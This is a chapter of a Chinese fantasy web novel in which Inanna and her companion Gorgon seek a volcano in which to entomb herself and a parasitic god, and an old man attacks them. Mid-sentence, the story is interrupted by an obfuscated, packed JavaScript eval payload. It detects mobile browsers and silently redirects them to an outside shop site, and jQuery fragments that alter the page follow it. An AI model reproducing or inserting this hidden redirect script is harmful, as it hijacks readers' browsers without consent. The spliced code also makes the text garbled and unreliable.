“嘻嘻——”

    何处传来笑声,飘渺又朦胧。

    伊南娜以为自己睡着了,但她并未获得应有的安宁,反而像是被拉入深潭之下,在冰冷的、粘稠的、暗不见光的质感中沉浮。

    虚实交替,表里倒转,四面八方响起风铃般的轻笑,重重叠叠地向她唤道:‘美杜莎,美杜莎。’

    伊南娜双目紧闭,皱起眉头,一点也不想去回应,那又不是她的名字。

    ‘美杜莎,美杜莎——

    ‘你想要苹果吗?’

    但她还是能够看到,身穿白衣、面目不清的孩子现出身影,双手捧着鲜红的果实,刚从禁忌的树梢采摘而下。

    “走开。”伊南娜冷漠地回道。

    ‘美杜莎,美杜莎——’

    那声音还在继续,嗓音与声调慢慢发生变化。

    ‘姐姐,姐姐——

    ‘你想要苹果吗?’

    孩子的面容逐渐清晰,带着两道纵贯而下的疤痕接近而来,将那红果递到伊南娜面前。

    ‘这是生命之果和智慧之果,人类通常只能选择其中一个,但是我愿意全都送给姐姐,这样姐姐就能和我一起永生了。’

    “……走开,她已经死了,你不是她,别来烦我,我不需要永生。”

    伊南娜甩手将它们挥开。

    红果落入泥沼,亡者的虚像向后退去。

    ‘好嘛。但是我会等你哦,一直一直等着你。’

    声音和人影溶解消散。

    漫无边际的黑暗继而被晨光照亮,海平线延伸出朝霞,伊南娜望着那清透而美丽的景象,长长地叹出一口气,在全新的一天开始时,依然只感到不尽的困倦与疲惫。

    ——我已无法继续。

    ——可我仍要继续。「注」

    但伊南娜不知道她应该要往何处去。

    “早安,美杜莎大人,我们就要到了。”

    操作台亮起显示屏,地图影像不断在变动,代表己方的绿色光点向着最为遥远的界线接近,为了让伊南娜能够好好休息,戈尔工特地选择这样一条漫长的航线。

    它一直在飞行,飞过黑夜与白天,飞过川流与潮汐,飞过城镇与山野,终于在天亮时抵达它曾经探及的世界尽头,绝对没有人类的极远之地。

    有限的大陆衔接着无限的汪洋,肉眼可见的最后一座礁石岛在退潮后露出海面,伊南娜停留在此稍作休整,换掉破损的旧衣,又吃了一些压缩饼干和罐头补充能量,接着再次启程。

    没有目标,没有方向。

    伊南娜其实明白,继续下去毫无意义,理想乡并非一个地理坐标,不会在任何一个现实的地方,她应该停下来。

    但这条不归路已经走到现在,她还是想要看到一个终点,无论那是什么样的终点,也无论那个终点有没有她所渴求的存在。

    前方会有答案吗?

    伊南娜不知道,她只是不想停下来。

    戈尔工继续前行,陆地彻底失去踪影,只剩下茫茫大海,海水与天空都是同一种颜色,以至于让人错觉回到混沌未开的创世纪前,神明不曾从水上行过,不曾诞生与存在。

    又是一个日夜后,一成不变的航程出现变化,戈尔工开始发生异常,最初只是显示屏上偶尔跳跃的雪花闪点,接着声音也变得断断续续,当就连坚不可摧的防护罩都毫无预兆地失效,让伊南娜差点被海风吹落时,戈尔工第一次没有收到命令就停止飞行。

    “美杜莎大人,我们回航吧,前方区域全都无法探明,不知还要多久才能落地,以属下现在的故障状况预估,再继续往前的话,系统将会彻底损毁,那就没有办法再保护您的安全了。”

    伊南娜抚摸着戈尔工的鳞甲,显示屏上的地图影像一片空白,完全已是未知区域,屏幕中央只有孤零零的绿色光点,时不时紊乱扭曲。

    混沌未知一望无际,世界尽头一无所有,哪里都看不见前路和终点,只有戈尔工,她的半身,她的手足,她在世间最后的、唯一的血脉亲缘,她愿意为了它而到此为止。

    “那就回去吧,戈尔工。”

    回到她避之唯恐不及的人间,走向属于她的终途末路。

    戈尔工调转身躯,原有的定位系统已在这片诡谲海域失灵,但日月星辰亘古不变,戈尔工像最老练的航海士那样计算出航向,在太阳又一次从海平面冉冉升起时顺利返回人类的世界。

    伊南娜在大地上仔细搜寻,以一个将死之人的视角。

    神明会主动保护她、会被她用自杀威胁,说明它需要她活着,然而伊南娜无从得知这种“需要”究竟是基于一种同生共死的绑定关系,抑或是其他缘由,她不能确定在她死后,拉法尔一定会随她消亡,而非彻底摆脱枷锁,为祸人间。

    她要找一个像基地主塔那样的地方,足够广大,足够封闭,足够与世隔绝。

    好在拉法尔尚未成熟,她还有机会困住它,神明需要供奉,生物需要进食,当祭品和食物全都断绝,只剩她这个“宿主”时,也许它能被“饿死”。

    这是伊南娜想到的唯一办法。

    她还没有放弃,她还没有“撑不下去”,她不会去拨打那通电话。

    这一次命运终于愿意稍微向她倾斜。

    回到陆地没多久,伊南娜就看到一座死火山。

    地质运动早已在此沉寂,肥沃的火山灰上长出生机勃勃的林海,不再喷发的火山口被经年累月的塌陷与淤积堵塞,其下有错综复杂的熔岩隧道,深度远超戈尔工的探测范围,让伊南娜想起主塔之下七千公尺,那个惩戒罪徒的修罗地狱,到死都不见天日。

    人类之躯濒临极限,两天没有进食让已经胃口大开的拉法尔越发躁动,伊南娜受到的侵蚀不断加深,稍有松懈就能听到诱惑的低语,即使在清醒时也能看到已死之人的幻觉,可以预见再过不久她就会彻底从这具皮囊里消失。

    所以她决定就在此处降落。

    虽然林海中有人类居住,但从建筑布局可以看出并非聚落形式,而是私人领地,人数并不多,距离火山口也还有很大距离,等到她将自己安放在火山深处,戈尔工将会进入巡航模式,监测火山口周边区域并阻止人类靠近,直到她与神明共同静默。

    “自从被美杜莎大人唤醒的那一刻起,属下就发誓要与您同生共死,属下必会贯彻您的意志和命令,当您的生命反应消失时,属下就会自我销毁,永远伴您左右。”

    B’T与主人一体同心,生死与共,伊南娜从未想过在戈尔工死后独活,也不会让它活在没有她的世界,那对于她们而言都是太过残忍的事。

    “谢谢你,戈尔工,一直都陪在我身边。”伊南娜笑起来,“那就让我们开始最后这段路吧,无论结局如何,我们都会在一起。”

    “遵命。”

    万里晴空中,苍白色的闪光悄然乍现,自上而下直射火山口,如同恒星聚变凝成一线,在惊雷般的炸响中击穿阻塞区,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509226|202925||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    强光尤胜烈日,植被与积水焚化蒸发,土石岩块崩裂坠落,露出宽阔的中空竖道,气流从中翻涌而起,风声呜咽呼啸,像是来自大地的一阵恸哭,山腰处林海波浪起伏,群鸟惊叫着争相飞往天际。

    戈尔工在世界外侧遭受的系统故障自行修复,烟尘、碎石、烈风与硫磺味的气体都阻隔在防护罩外,它顺着垂直的火山通道平稳下沉,就像从阳世潜入冥间,阳光逐渐消失,风声也完全止歇,只剩下耳鸣般的寂静与深不见底的黑暗。

    火山口收缩成一个光点,越来越远,越变越小,伊南娜闭上眼睛,从未感到如此平静。

    这正是她想要的地方,一个棺椁,一个囚笼,能够埋葬罪无可恕的自己,锁住贪婪污秽的神明。

    “美杜莎大人,属下探测到人造工事。”

    近乎停滞的时间感中,戈尔工突然发出提醒,像一把尖锥插入脊髓,带来刺骨冰寒。

    伊南娜猛然睁开眼,坐直身体打开显示屏,火山内部结构图正在绘制成形。

    目前深度距离火山口超过一千公尺,正式进入熔岩隧道区,从结构图上可以看到山体侧边的岩浆管道大部分都经过改造,工整的走廊与房间绝无可能自然形成,随着戈尔工的探测范围横向扩展,甚至开始出现人类的生命反应。

    “怎么可能……”

    伊南娜愕然看着屏幕上不规则活动的光点,外面的林海风景优美,气候宜人,是最为适合人类生活的环境,她完全想不到还会有人挖通火山,建造地下工事。

    由此可见居住在此的绝非一般平民。

    但无论他们有什么身份背景,只要是人类她就必须远离,伊南娜立刻变更指令:“离开这里,戈尔工。”

    戈尔工应了一声,扇动翅膀疾速上行,不消片刻就冲出火山口。

    迎接她们的却并非空旷高远的蓝天,不变的阳光与白云之间于此一刻有群星陨落,其形如龙,流星雨一样大范围地自高处坠下,将整个火山顶部笼罩其中。

    防护罩抵挡住攻击,但箭雨如幕,因此出现空缺也十分显眼,反倒将她们的存在和位置暴露。

    一条炽光长龙从林海间腾升而起,龙头部位站着一位须发花白的老者,抬起双手成钩爪状,浑身念力光辉大盛,新的光龙自他手中成形,直冲戈尔工与伊南娜的所在之处,威力远甚之前的流星。

    “美杜莎大人,要反击吗?”

    “不用,甩开他。”

    戈尔工猛然爬升与光龙错身而过,光龙在空中爆裂再次化作流星雨,这一次逆转方向自下而上追击。

    “藏头露尾的家伙,随随便便就跑进别人家里打穿别人的房顶,却连脸都不敢露出来吗?”

    苍老而有力的声音在身后叫嚣,老者调转龙头直追而上,速度竟然不比戈尔工逊色,双方距离飞快缩短,戈尔工不与他缠斗,持续提升高度,打算进入人类肉身难以生存的平流层。

    即将穿过云层时,伊南娜突然感到一股强力拉扯,她的右肢毫无预兆地爆裂,触须黑影比以往任何时候都更为庞大,顺着大地的引力高速下坠,从内部刺穿防护罩后直扑老者。

    老者反应极快立刻躲闪,触须却在空中恶毒地绽放,猛然张开一张大网,老者彻底无处可逃,直直撞入网中,震惊的面容在伊南娜眼中短暂停留又转瞬消失。

    随后伊南娜就被拖拽着继续坠落,坠向郁郁葱葱的林木之海,那里还有更多鲜活的人类。

    它已迫不及待。